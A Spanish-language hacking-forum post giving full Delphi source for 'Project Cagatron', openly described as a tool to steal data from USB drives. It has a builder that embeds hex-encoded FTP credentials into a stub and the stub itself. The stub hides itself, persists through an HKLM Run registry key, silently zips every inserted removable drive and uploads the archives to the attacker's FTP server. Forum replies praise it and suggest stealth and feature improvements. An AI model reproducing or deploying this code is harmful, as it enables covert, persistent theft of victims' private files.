[Delphi] Project Cagatron 1.0

Un simple programa en Delphi para robar los datos de un USB con las siguientes opciones :

• Detecta cualquier USB conectado a la computadora
• Comprime los datos un archivo comprimido en una carpeta oculta de la computadora
• Permite la opcion de enviar los datos por FTP o dejarlos en la computadora

Una imagen :



Los codigos :

El generador.

// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

unit caga;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, sevenzip, Vcl.ComCtrls, Vcl.StdCtrls,
  ShellApi,
  Vcl.Menus, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Vcl.ExtCtrls, Vcl.Imaging.pngimage;

type
  TForm1 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    TabSheet3: TTabSheet;
    StatusBar1: TStatusBar;
    PageControl2: TPageControl;
    TabSheet4: TTabSheet;
    usb_found: TListView;
    TabSheet5: TTabSheet;
    TabSheet6: TTabSheet;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    ftp_host: TEdit;
    Label2: TLabel;
    ftp_user: TEdit;
    Label3: TLabel;
    ftp_pass: TEdit;
    Label4: TLabel;
    ftp_path: TEdit;
    GroupBox2: TGroupBox;
    enter_usb: TEdit;
    Button1: TButton;
    Button2: TButton;
    GroupBox3: TGroupBox;
    upload_ftp_server: TRadioButton;
    TabSheet7: TTabSheet;
    GroupBox4: TGroupBox;
    console: TMemo;
    TabSheet8: TTabSheet;
    only_logs: TRadioButton;
    logs: TListView;
    rutas: TListBox;
    menu: TPopupMenu;
    L1: TMenuItem;
    IdFTP1: TIdFTP;
    buscar_usb: TTimer;
    otromenu: TPopupMenu;
    S1: TMenuItem;
    opcion_text: TEdit;
    PageControl3: TPageControl;
    TabSheet9: TTabSheet;
    TabSheet10: TTabSheet;
    GroupBox5: TGroupBox;
    Label5: TLabel;
    Label6: TLabel;
    Label7: TLabel;
    Label8: TLabel;
    ftp_host2: TEdit;
    ftp_user2: TEdit;
    ftp_pass2: TEdit;
    ftp_path2: TEdit;
    GroupBox7: TGroupBox;
    directorios: TComboBox;
    GroupBox6: TGroupBox;
    foldername: TEdit;
    Button3: TButton;
    GroupBox8: TGroupBox;
    Image1: TImage;
    Label9: TLabel;
    Image2: TImage;
    GroupBox9: TGroupBox;
    hide_file: TCheckBox;
    upload_ftp: TCheckBox;
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure list_files;
    procedure L1Click(Sender: TObject);
    procedure buscar_usbTimer(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(PChar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(PChar(target), nil, 0, @c, a, b, nil, 0);
end;

function file_size(target: String): integer;
var
  busqueda: TSearchRec;
begin
  Result := 0;
  try
    begin
      if FindFirst(target + '\*.*', faAnyFile + faDirectory + faReadOnly,
        busqueda) = 0 then
      begin
        repeat
          Inc(Result);
        until FindNext(busqueda) <> 0;
        System.SysUtils.FindClose(busqueda);
      end;
    end;
  except
    Result := 0;
  end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  if not DirectoryExists('logs') then
  begin
    CreateDir('logs');
  end;
  Chdir('logs');
  list_files;
end;

procedure TForm1.L1Click(Sender: TObject);
begin
  ShellExecute(0, nil, PChar(rutas.Items[logs.Selected.Index]), nil, nil,
    SW_SHOWNORMAL);
end;

procedure TForm1.list_files;
var
  search: TSearchRec;
  ext: string;
  fecha1: integer;
begin

  logs.Items.Clear();
  rutas.Items.Clear();

  FindFirst(ExtractFilePath(Application.ExeName) + 'logs' + '\*.*',
    faAnyFile, search);
  while FindNext(search) = 0 do
  begin
    ext := ExtractFileExt(search.Name);
    if (ext = '.zip') then
    begin
      with logs.Items.Add do
      begin
        fecha1 := FileAge(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        rutas.Items.Add(ExtractFilePath(Application.ExeName) + 'logs/' +
          search.Name);
        Caption := search.Name;
        SubItems.Add(DateToStr(FileDateToDateTime(fecha1)));
      end;
    end;
  end;
  FindClose(search);
end;

procedure TForm1.S1Click(Sender: TObject);
begin
  opcion_text.Text := usb_found.Selected.Caption;
  enter_usb.Text := usb_found.Selected.SubItems[1];
end;

procedure TForm1.buscar_usbTimer(Sender: TObject);
var
  unidad: Char;
begin
  usb_found.Items.Clear();
  for unidad := 'C' to 'Z' do
  begin
    if (check_drive(PChar(unidad + ':\')) = True) and
      (GetDriveType(PChar(unidad + ':\')) = DRIVE_REMOVABLE) then
    begin
      with usb_found.Items.Add do
      begin
        Caption := usb_name(unidad);
        SubItems.Add(IntToStr(file_size(unidad + ':\')));
        SubItems.Add(unidad + ':\');
      end;
    end;
  end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  with TFileOpenDialog.Create(nil) do
    try
      Options := [fdoPickFolders];
      if Execute then
        enter_usb.Text := Filename;
    finally
      Free;
    end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
  code: string;
  dirnow: string;
  guardar: string;

begin

  dirnow := enter_usb.Text;

  if not FileExists(PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'))
  then
  begin
    CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
      PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);
  end;

  if not(opcion_text.Text = '') then
  begin
    guardar := opcion_text.Text + '.zip';
  end
  else
  begin
    guardar := ExtractFileName(dirnow) + '.zip';
  end;

  StatusBar1.Panels[0].Text := '[+] Saving ...';
  Form1.StatusBar1.Update;

  console.Lines.Add('[+] Saving ..');

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          console.Lines.Add('[+] Saving Directory : ' + busqueda.Name);
          // StatusBar1.Panels[0].Text := '[+] Saving Directory : ' + busqueda.Name;
          // Form1.StatusBar1.Update;
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        console.Lines.Add('[+] Saving File : ' + busqueda.Name);
        // StatusBar1.Panels[0].Text := '[+] Saving File : ' + busqueda.Name;
        // Form1.StatusBar1.Update;
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (upload_ftp_server.checked) then
  begin
    IdFTP1.Host := ftp_host.Text;
    IdFTP1.Username := ftp_user.Text;
    IdFTP1.Password := ftp_pass.Text;
    try
      IdFTP1.Connect;
    except
      StatusBar1.Panels[0].Text := '[-] Error Uploading';
      Form1.StatusBar1.Update;
    end;

    StatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.StatusBar1.Update;

    IdFTP1.ChangeDir(ftp_path.Text);
    IdFTP1.Put(guardar, guardar, False);
  end;

  list_files;

  console.Lines.Add('[+] Ready');

  StatusBar1.Panels[0].Text := '[+] Ready';
  Form1.StatusBar1.Update;

  opcion_text.Text := '';

end;

procedure TForm1.Button3Click(Sender: TObject);
var
  lineafinal: string;
  hidefile: string;
  uploadftp: string;
  aca: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  stubgenerado: string;

begin

  if (hide_file.checked) then
  begin
    hidefile := '1';
  end
  else
  begin
    hidefile := '0';
  end;

  if (upload_ftp.checked) then
  begin
    uploadftp := '1';
  end
  else
  begin
    uploadftp := '0';
  end;

  lineafinal := '[63686175]' + dhencode('[online]1[online]' + '[directorios]' +
    directorios.Text + '[directorios]' + '[carpeta]' + foldername.Text +
    '[carpeta]' + '[ocultar]' + hidefile + '[ocultar]' + '[ftp_op]' + uploadftp
    + '[ftp_op]' + '[ftp_host]' + ftp_host.Text + '[ftp_host]' + '[ftp_user]' +
    ftp_user.Text + '[ftp_user]' + '[ftp_pass]' + ftp_pass.Text + '[ftp_pass]' +
    '[ftp_path]' + ftp_path.Text + '[ftp_path]', 'encode') + '[63686175]';

  aca := INVALID_HANDLE_VALUE;
  nose := 0;

  stubgenerado := 'cagatron_ready.exe';

  DeleteFile(stubgenerado);
  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
    'Data/cagatron_server.exe'), PChar(ExtractFilePath(Application.ExeName) +
    '/' + stubgenerado), True);

  CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/7z.dll'),
    PChar(ExtractFilePath(Application.ExeName) + '/' + '7z.dll'), True);

  StrCopy(code, PChar(lineafinal));
  aca := CreateFile(PChar(ExtractFilePath(Application.ExeName) +
    '/cagatron_ready.exe'), GENERIC_WRITE, FILE_SHARE_READ, nil,
    OPEN_EXISTING, 0, 0);
  if (aca <> INVALID_HANDLE_VALUE) then
  begin
    SetFilePointer(aca, 0, nil, FILE_END);
    WriteFile(aca, code, 9999, nose, nil);
    CloseHandle(aca);
  end;

  StatusBar1.Panels[0].Text := '[+] Done';
  Form1.StatusBar1.Update;

end;

end.

// The End ?

El Stub.

// Project Cagatron 1.0
// (C) Doddy Hackman 2015
// Based on Ladron by Khronos

program cagatron_server;

{$APPTYPE GUI}
{$R *.res}

uses
  SysUtils, WinInet, Windows, sevenzip;

var
  directorio, directorio_final, carpeta, nombrereal, yalisto: string;
  hide_op: string;
  registro: HKEY;
  ftp_op, ftp_host, ftp_user, ftp_pass, ftp_path: string;
  online: string;

  ob: THandle;
  code: Array [0 .. 9999 + 1] of Char;
  nose: DWORD;
  todo: string;

  // Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  SetLength(text, AnsiPos(hastaaca, text) - 1);
  Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
  num: integer;
  aca: string;
  cantidad: integer;

begin

  num := 0;
  Result := '';
  aca := '';
  cantidad := 0;

  if (opcion = 'encode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad do
    begin
      aca := IntToHex(ord(texto[num]), 2);
      Result := Result + aca;
    end;
  end;

  if (opcion = 'decode') then
  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

procedure comprimir(dirnow, guardar: string);
var
  zipnow: I7zOutArchive;
  busqueda: TSearchRec;
begin

  zipnow := CreateOutArchive(CLSID_CFormat7z);
  SetCompressionLevel(zipnow, 9);
  SevenZipSetCompressionMethod(zipnow, m7LZMA);

  if FindFirst(dirnow + '\*.*', faAnyFile + faDirectory + faReadOnly,
    busqueda) = 0 then
  begin
    repeat
      if (busqueda.Attr = faDirectory) then
      begin
        if not(busqueda.Name = '.') and not(busqueda.Name = '..') then
        begin
          zipnow.AddFiles(dirnow + '/' + busqueda.Name, busqueda.Name,
            '*.*', True);
        end;
      end
      else
      begin
        zipnow.AddFile(dirnow + '/' + busqueda.Name, busqueda.Name);
      end;
    until FindNext(busqueda) <> 0;
    System.SysUtils.FindClose(busqueda);
  end;

  zipnow.SaveToFile(guardar);

  if (hide_op = '1') then
  begin
    SetFileAttributes(pchar(guardar), FILE_ATTRIBUTE_HIDDEN);
  end;

end;

function usb_name(checked: Char): string;
// Based on http://delphitutorial.info/get-volume-name.html
var
  uno, dos: DWORD;
  resultnow: array [0 .. MAX_PATH] of Char;
begin
  try
    GetVolumeInformation(pchar(checked + ':/'), resultnow, sizeof(resultnow),
      nil, uno, dos, nil, 0);
    Result := StrPas(resultnow);
  except
    Result := checked;
  end;
end;

function check_drive(target: string): boolean;
var
  a, b, c: cardinal;
begin
  Result := GetVolumeInformation(pchar(target), nil, 0, @c, a, b, nil, 0);
end;

function check_file_ftp(host, username, password, archivo: pchar): integer;
var
  controluno: HINTERNET;
  controldos: HINTERNET;
  abriendo: HINTERNET;
  valor: integer;

begin

  controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
    username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);

  abriendo := ftpOpenfile(controldos, pchar(archivo), GENERIC_READ,
    FTP_TRANSFER_TYPE_BINARY, 0);
  valor := ftpGetFileSize(abriendo, nil);

  InternetCloseHandle(controldos);
  InternetCloseHandle(controluno);

  Result := valor;

end;

procedure upload_ftpfile(host, username, password, filetoupload,
  conestenombre: pchar);

// Credits :
// Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
// Thanks to Omair Iqbal

var
  controluno: HINTERNET;
  controldos: HINTERNET;

begin

  try

    begin
      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
      controldos := InternetConnect(controluno, host, INTERNET_DEFAULT_FTP_PORT,
        username, password, INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0);
      ftpPutFile(controldos, filetoupload, conestenombre,
        FTP_TRANSFER_TYPE_BINARY, 0);
      InternetCloseHandle(controldos);
      InternetCloseHandle(controluno);
    end
  except
    //
  end;
end;

procedure buscar_usb;
var
  unidad: Char;
  usb_target, usb_nombre: string;
begin
  while (1 = 1) do
  begin
    Sleep(5000);
    for unidad := 'C' to 'Z' do
    begin
      if (check_drive(pchar(unidad + ':\')) = True) and
        (GetDriveType(pchar(unidad + ':\')) = DRIVE_REMOVABLE) then
      begin
        usb_target := unidad + ':\';
        usb_nombre := usb_name(unidad) + '.zip';
        if not(FileExists(usb_nombre)) then
        begin
          // Writeln('[+] Saving ' + usb_target + ' : ' + usb_nombre + ' ...');
          comprimir(usb_target, usb_nombre);
          // Writeln('[+] Saved');
          if (ftp_op = '1') then
          begin
            // Writeln('[+] Checking file in FTP ...');
            if (check_file_ftp(pchar(ftp_host), pchar(ftp_user),
              pchar(ftp_pass), pchar('/' + ftp_path + '/' + usb_nombre)) = -1)
            then
            begin
              // Writeln('[+] Uploading ...');
              upload_ftpfile(pchar(ftp_host), pchar(ftp_user), pchar(ftp_pass),
                pchar(usb_nombre), pchar('/' + ftp_path + '/' + usb_nombre));
              // Writeln('[+] Done');
            end
            else
            begin
              // Writeln('[+] File exists');
            end;
          end;
        end;
      end;
    end;
  end;
end;

begin

  try

    ob := INVALID_HANDLE_VALUE;
    code := '';

    ob := CreateFile(pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ, nil,
      OPEN_EXISTING, 0, 0);
    if (ob <> INVALID_HANDLE_VALUE) then
    begin
      SetFilePointer(ob, -9999, nil, FILE_END);
      ReadFile(ob, code, 9999, nose, nil);
      CloseHandle(ob);
    end;

    todo := regex(code, '[63686175]', '[63686175]');
    todo := dhencode(todo, 'decode');

    directorio := pchar(regex(todo, '[directorios]', '[directorios]'));
    carpeta := pchar(regex(todo, '[carpeta]', '[carpeta]'));
    directorio_final := GetEnvironmentVariable(directorio) + '/' + carpeta;
    hide_op := pchar(regex(todo, '[ocultar]', '[ocultar]'));

    ftp_op := pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
    ftp_host := pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
    ftp_user := pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
    ftp_pass := pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
    ftp_path := pchar(regex(todo, '[ftp_path]', '[ftp_path]'));

    online := pchar(regex(todo, '[online]', '[online]'));

    if (online = '1') then
    begin
      nombrereal := ExtractFileName(paramstr(0));
      yalisto := directorio_final + '/' + nombrereal;

      if not(DirectoryExists(directorio_final)) then
      begin
        CreateDir(directorio_final);
      end;

      // CopyFile(pchar(paramstr(0)), pchar(yalisto), False);
      MoveFile(pchar(paramstr(0)), pchar(yalisto));
      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
      end;
      if (FileExists('7z.dll')) then
      begin
        // CopyFile(pchar('7z.dll'),
        // pchar(directorio_final + '/' + '7z.dll'), False);
        MoveFile(pchar('7z.dll'), pchar(directorio_final + '/' + '7z.dll'));
        if (hide_op = '1') then
        begin
          SetFileAttributes(pchar(directorio_final + '/' + '7z.dll'),
            FILE_ATTRIBUTE_HIDDEN);
        end;
      end;

      ChDir(directorio_final);

      if (hide_op = '1') then
      begin
        SetFileAttributes(pchar(directorio_final), FILE_ATTRIBUTE_HIDDEN);
      end;

      try
        begin
          RegCreateKeyEx(HKEY_LOCAL_MACHINE,
            'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
          RegSetValueEx(registro, 'uberk', 0, REG_SZ, pchar(yalisto), 666);
          RegCloseKey(registro);
        end;
      except
        //
      end;

      // Writeln('[+] Searching USB ...');

      BeginThread(nil, 0, @buscar_usb, nil, 0, PDWORD(0)^);

      while (1 = 1) do
        Sleep(5000);
    end
    else
    begin
      // Writeln('[+] Offline');
    end;

  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;

end.

// The End ?

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

You are not allowed to view links. Register or Login.
You are not allowed to view links. Register or Login.

Eso seria todo.

HOLA!!!

Descargando espectacular, no hay nada como esto gratis, sos un genio!

GRACIAS POR LEER!!!

ok  , gracias , todavia le faltan muchas cosas que corregir y agregar , si lo probas decime las sugerencias para la nueva version que voy hacer.

HOLA!!!

Ya lo probe, me parece que:
la opcion de la compresion debe ser opcional,
se debe estipular un maximo de copia de archivos para que no se llene el rigido,
el programa debe detectar si ha comenzado una copia de un pendrive que se inserta anteriormente para no copiar 2 veces los mismos archivos,
el programa debe tener la opcion de iniciar con windows y permanecer oculto y
el programa debe ser un poco mas user friendly (esta hecho para personas con conocimientos en informatica), o una opcion con un wizard.

GRACIAS POR LEER!!!

ok  , gracias por las sugerencias , es raro pense que le habia agregado lo que de se cargue cada vez que inicia Windows , ya tengo lo que necesito para la siguiente version.

HOLA!!!

Si, lo tiene, pero el stub solamente, si yo quiero usar el programa sin generar un stub no se puede.

GRACIAS POR LEER!!!